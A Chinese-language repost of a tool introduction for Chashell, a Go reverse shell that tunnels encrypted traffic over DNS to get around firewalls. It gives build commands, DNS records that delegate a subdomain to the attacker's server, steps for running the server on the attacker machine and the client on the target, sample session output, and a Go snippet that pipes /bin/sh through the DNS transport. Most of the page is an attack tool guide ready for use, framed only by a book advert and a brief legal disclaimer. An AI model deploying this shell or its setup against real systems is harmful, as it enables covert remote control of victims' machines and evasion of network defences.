Chashell:基于DNS的反向Shell

admin 2021年12月16日16:00:50评论148 views字数 2016阅读6分43秒阅读模式

原文作者:secist  

原文地址:https://www.freebuf.com/sectool/199406.html

Chashell是一个由Go编写的基于DNS进行通信的反向shell。它可用于绕过防火墙或严格限制的网络。

它带有一个名为chaserv的多客户端控制服务器。

Chashell:基于DNS的反向Shell

通信安全

每个数据包都使用对称加密(XSalsa20 + Poly1305)进行加密,客户端和服务器之间使用共享密钥。

我们计划在未来实现非对称加密。

协议

Chashell使用Protocol Buffers序列化消息进行通信。作为参考,协议缓冲区结构(.proto文件)在proto文件夹中可用。

这是一个(简化的)通信图表:

Chashell:基于DNS的反向Shell

请记住,每个数据包都经过加密,十六进制编码,然后被打包用于DNS传输。

支持的系统

Chashell可以在任何支持Go编译器的桌面系统使用(如Windows,Linux,Darwin,BSD衍生版本)。

我们已在以下系统进行了测试:

Windows (386/amd64)

Linux (386/amd64/arm64)

OS X (386/amd64)

Chaserv/Chashell 使用

构建

在运行这些命令之前,请确保已正确配置GOPATH环境变量。

构建所有二进制文件(根据需要调整domain_name和encryption_key):

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.sysdream.com
$ make build-all

为特定平台构建:

$ make build-all OSARCH="linux/arm"

仅构建服务器:

$ make build-server

仅构建客户端(chashell本身):

$ make build-client

DNS 设置

购买并配置你选择的域名。

设置DNS记录:

chashell 300 IN A [SERVERIP]
c 300 IN NS chashell.[DOMAIN].

使用

在服务器端(攻击者的计算机),你必须使用chaserv二进制文件。对于客户端(即目标),请使用chashell二进制文件。

因此:

在控制服务器运行chaserv

在目标计算机运行chashell

客户端现在应该回连到chaserv:

[n.chatelain]$ sudo ./chaserv
chashell >>> New session : 5c54404419e59881dfa3a757
chashell >>> sessions 5c54404419e59881dfa3a757
Interacting with session 5c54404419e59881dfa3a757.
whoami
n.chatelain
ls /
bin
boot
dev
[...]
usr
var

使用sessions [sessionid]命令与客户端进行交互。与之交互过程中,你可以使用background命令将会话转为后台执行,并返回到chashell提示符。

使用exit命令关闭chaserv。

实现自己的反向 shell

chashell/lib/transport库与io.Reader/io.Writer接口兼容。因此,实现反向shell非常简单:

cmd := exec.Command("/bin/sh")

dnsTransport := transport.DNSStream(targetDomain, encryptionKey)

cmd.Stdout = dnsTransport
cmd.Stderr = dnsTransport
cmd.Stdin = dnsTransport
cmd.Run()

未来计划

实现非对称加密(Curve25519,XSalsa20和Poly1305)

使用InfoPacket消息检索主机名

创建代理/中继工具隧道TCP/UDP流(通过DNS进行Meterpreter!)

更好的错误处理

摆脱依赖


好书推荐

Chashell:基于DNS的反向Shell

本书以兼顾知识体系全面性和实用性为原则,涵盖了网络安全攻防基本知识和技术以及多种渗透工具的使用和相应防护手段等内容。本书共分为14 章,其中前5 章包括网络安全攻防概述、网络攻防基本知识、密码学原理与技术、网络安全协议、身份认证及访问控制等内容;第6~12 章主要以技术实践为主,涉及日志分析、信息收集、渗透测试、分布式拒绝服务攻击与防护技术、恶意代码分析技术、漏洞挖掘、软件逆向技术等知识;第13 章介绍新技术与新应用,涉及云计算、移动互联、工业互联网、物联网等知识;第14 章介绍人才培养与规范。书中涉及技术部分多结合案例进行讲解,通俗易懂,可以让读者快速了解和掌握相应的技术。


禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

Chashell:基于DNS的反向Shell


Chashell:基于DNS的反向Shell

Chashell:基于DNS的反向Shell

原文始发于微信公众号(web安全工具库):Chashell:基于DNS的反向Shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月16日16:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chashell:基于DNS的反向Shellhttp://cn-sec.com/archives/682582.html

发表评论

匿名网友 填写信息